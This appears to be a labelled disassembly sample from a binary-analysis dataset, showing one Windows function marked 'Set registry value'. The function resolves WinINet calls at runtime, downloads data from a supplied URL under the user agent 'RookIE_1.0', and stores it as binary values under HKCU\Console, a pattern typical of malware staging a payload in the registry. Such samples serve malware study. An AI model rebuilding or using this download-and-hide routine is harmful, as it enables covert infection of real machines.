Function at 0x140001ba0
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0xd8
mov dword [rsp + 0xa8], 0x64000
mov ecx, 0x64000
call fcn.1400025a4
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x58], 1
lea rcx, str.wininet.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
jne 0x140001c1c
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xb8], rax
mov rcx, qword [rsp + 0xb8]
call fcn.14000259c
jmp 0x140001f1a
lea rdx, str.InternetOpenW
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x90], rax
lea rdx, str.InternetOpenUrlW
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x98], rax
lea rdx, str.InternetReadFile
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xa0], rax
lea rdx, str.InternetCloseHandle
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x88], rax
cmp qword [rsp + 0x90], 0
je 0x140001cb0
cmp qword [rsp + 0x98], 0
je 0x140001cb0
cmp qword [rsp + 0xa0], 0
je 0x140001cb0
cmp qword [rsp + 0x88], 0
jne 0x140001cda
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xc0], rax
mov rcx, qword [rsp + 0xc0]
call fcn.14000259c
jmp 0x140001f1a
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.RookIE_1.0
call qword [rsp + 0x90]
mov qword [rsp + 0x80], rax
cmp qword [rsp + 0x80], 0
je 0x140001f00
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x4000000
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0xe0]
mov rcx, qword [rsp + 0x80]
call qword [rsp + 0x98]
mov qword [rsp + 0x78], rax
cmp qword [rsp + 0x78], 0
je 0x140001ee5
mov qword [rsp + 0x40], 0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Console
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140001ed0
mov dword [rsp + 0x54], 0
mov dword [rsp + 0x50], 0
cmp dword [rsp + 0x58], 0
jbe 0x140001e52
mov eax, 0x64000
sub eax, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x50]
mov rdx, qword [rsp + 0x60]
add rdx, rcx
mov rcx, rdx
lea r9, [rsp + 0x58]
mov r8d, eax
mov rdx, rcx
mov rcx, qword [rsp + 0x78]
call qword [rsp + 0xa0]
cmp dword [rsp + 0x58], 0
jbe 0x140001e4d
mov eax, dword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0x64000
jne 0x140001e4d
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rsp + 0xe8]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x54], eax
mov dword [rsp + 0x50], 0
jmp 0x140001dac
cmp dword [rsp + 0x50], 0
jbe 0x140001e97
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rsp + 0xe8]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rsp + 0xe8]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x78]
call qword [rsp + 0x88]
mov qword [rsp + 0x78], 0
mov rcx, qword [rsp + 0x80]
call qword [rsp + 0x88]
mov qword [rsp + 0x80], 0
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xc8], rax
mov rcx, qword [rsp + 0xc8]
call fcn.14000259c
add rsp, 0xd8
ret